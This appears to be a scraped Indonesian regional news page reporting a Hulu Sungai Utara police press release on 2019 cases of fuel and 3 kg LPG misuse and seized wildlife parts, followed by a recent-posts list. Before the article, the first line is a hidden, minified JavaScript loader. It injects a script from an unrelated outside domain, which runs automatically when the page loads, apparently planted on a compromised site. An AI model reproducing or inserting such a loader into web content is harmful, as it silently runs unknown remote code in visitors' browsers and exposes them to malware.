(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Polres HSU Ungkap Pidana Terkait Kasus BBM dan Elpiji 3 Kg


AMUNTAI, Dalam beberapa bulan saja Polres Hulu Sungai Utara (HSU) berhasil mengungkap beberapa kasus di antaranya tindak pidana pelanggaran undang-undang minyak dan gas serta kasus konservasi sumber daya alam serta lainnya.

Hal tersebut disampaikan Kapolres HSU AKBP Ahmad Arif Sofian SIk saat menggelar press release tindak pidana konservasi sumber daya alam hayati dan eksosistem serta tindak pidana minyak dan gas bumi tahun 2019, di halaman Mapolres, Senin (4/3).

Adapun tindak pidana yang diungkap sejak Januari 2019 ada beberapa kasus, di antaranya tindak pidana pelanggaran undang-undang minyak dan gas dengan barang bukti BBM 700 liter, dan premium 200 liter. Kasus perlindungan konsumen dengan barang bukti 250 buat tabung LPG 3 kg dan isi 49 tabung LPG serta kasus konservasi sumber daya alam hayati berupa kulit, tengkorak, tanduk dan tulang satwa yang saat ini disita pihak Polres HSU.

Lebih lanjut, Kapolres Arif mengungkapkan, selama awal tahun 2019 ini pihaknya mengungkap beberapa kasus seperti tindak pidana gas dan minyak yang dinilai merugikan masyarakat. Adapun modus yang digunakan dalam tindak pidana khususnya gas elpiji 3 kg diduga akan dijual lagi ke luar daerah, sehingga berakibat terjadinya kelangkaan.

“Untuk gas elpiji 3 kg ini dijual lagi ke luar daerah. Dan ini merugikan bagi masyarakat HSU sendiri,” ungkap Arif.

Dirinya menilai tindak pidana pelanggaran terhadap undang-undang tentang minyak dan gas ini cukup marak. “Karena setelah ada pelaku ditangkap, beberapa hari kemudian ada lagi pelaku lainnya yang ditangkap,” lanjutnya

Selanin itu, Kapolres juga mengimbau kepada masyarakat agar tidak melakukan perbuatan yang melanggar hukum seperti kasus yang ditangani tersebut. “Hal seperti ini bukan hal biasa. Akan tetapi melanggar undang-undang. Oleh karena itu kami dari Polres HSU terus berupaya memaksimalkan subsidi-subsidi dari pemerintah,” pungkasnya.

Menanggapi hal tersebut, Bupati HSU H Abdul Wahid HK yang hadir dalam press release tersebut mengapresiasi apa yang sudah dilakukan Polres. Bupati juga mengimbau agar masyarakat tidak terlibat dalam segala hal yang melanggar hukum. “Kami berharap agar masyarakat dalam menjalankan usaha agar sesuai dengan peraturan supaya terhindar dari masalah hukum, apalagi usaha minyak dan gas,” pesan Bupati Wahid. (dew)

Reporter : Dew
Editor : Chell

Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

13 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

14 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

14 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

18 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

20 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

20 jam ago

This website uses cookies.